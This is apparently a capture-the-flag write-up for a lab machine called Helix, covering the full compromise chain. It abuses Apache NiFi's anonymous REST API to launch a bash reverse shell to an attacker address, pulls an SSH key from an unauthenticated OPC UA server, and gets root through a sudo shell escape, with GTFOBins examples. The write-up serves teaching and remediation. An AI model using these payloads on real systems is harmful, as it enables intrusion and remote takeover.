Helix
Summary
I exploited Apache NiFi's anonymous REST API to inject an operating-system command processor and land a reverse shell as the nifi service account. From that foothold I discovered an unauthenticated OPC UA industrial server listening only on the loopback interface, browsed its custom node tree, and extracted an SSH private key stored in plaintext inside a sensor-data namespace.
Logging in as the operator user with that key, I found a passwordless sudo rule granting access to a custom maintenance console that exposed a shell-escape path, yielding an unrestricted root shell and both flags.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 1
nmap -Pn -sV -sC --min-rate 5000 -p- $TARGET -oN helix_nmap.txtExact commands 2
ffuf -u http://$TARGET/ -H 'Host: FUZZ.helix.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301,302curl -s -H 'Host: flow.helix.htb' http://$TARGET/nifi-api/system-diagnostics | python3 -m json.toolFixEnable authentication and network isolation on Apache NiFiCritical
Exact commands 4
nc -lvnp 4448PG_ID=$(curl -s -H 'Host: flow.helix.htb' http://$TARGET/nifi-api/process-groups/root | python3 -c "import sys,json; print(json.load(sys.stdin)['processGroupFlow']['id'])")
echo $PG_IDPROC_ID=$(curl -s -X POST "http://$TARGET/nifi-api/process-groups/${PG_ID}/processors" -H 'Host: flow.helix.htb' -H 'Content-Type: application/json' -d '{"revision":{"version":0},"component":{"type":"org.apache.nifi.processors.standard.ExecuteProcess","name":"rce","config":{"properties":{"Command":"bash","Command Arguments":"-c bash${IFS}-i${IFS}>&${IFS}/dev/tcp/$ATTACKER_IP/4448${IFS}0>&1"},"schedulingStrategy":"TIMER_DRIVEN","schedulingPeriod":"1 sec","autoTerminatedRelationships":["success"]}}}' | python3 -c "import sys,json; print(json.load(sys.stdin)['component']['id'])")
echo $PROC_IDcurl -s -X PUT "http://$TARGET/nifi-api/processors/${PROC_ID}/run-status" -H 'Host: flow.helix.htb' -H 'Content-Type: application/json' -d '{"revision":{"version":1},"state":"RUNNING"}'Exact commands 3
id; whoami; hostname; pwdss -tlnpps aux | grep -E 'opcua|python'Exact commands 2
python3 -c "
from opcua import Client
c = Client('opc.tcp://127.0.0.1:4840/helix')
c.connect()
for i,ns in enumerate(c.get_namespace_array()): print(i, ns)
c.disconnect()
"python3 -c "
from opcua import Client
c = Client('opc.tcp://127.0.0.1:4840/helix')
c.connect()
objs = c.get_objects_node()
for child in objs.get_children():
print(child.nodeid, child.get_browse_name())
for sub in child.get_children(): print(' ->', sub.nodeid, sub.get_browse_name())
c.disconnect()
"FixRequire authentication on the OPC UA server and remove credentials from node valuesCritical
Exact commands 4
python3 -c "
from opcua import Client
c = Client('opc.tcp://127.0.0.1:4840/helix')
c.connect()
node = c.get_node('ns=2;i=31915')
for child in node.get_children():
try:
val = child.get_value()
print(child.get_browse_name(), ':', val)
except: pass
c.disconnect()
"chmod 600 /tmp/operator_id_ed25519ssh -i /tmp/operator_id_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null operator@$TARGETcat ~/user.txtExact commands 3
sudo -lsudo /usr/local/sbin/helix-maint-consoleprintf 'cat /root/root.txt\nexit\n' | ssh -tt -i /tmp/operator_id_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null operator@$TARGET 'sudo /usr/local/sbin/helix-maint-console'FixRemove the passwordless sudo rule for helix-maint-console and eliminate its shell-escape pathsHigh
Attack patterns used
The transferable techniques behind this compromise.
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.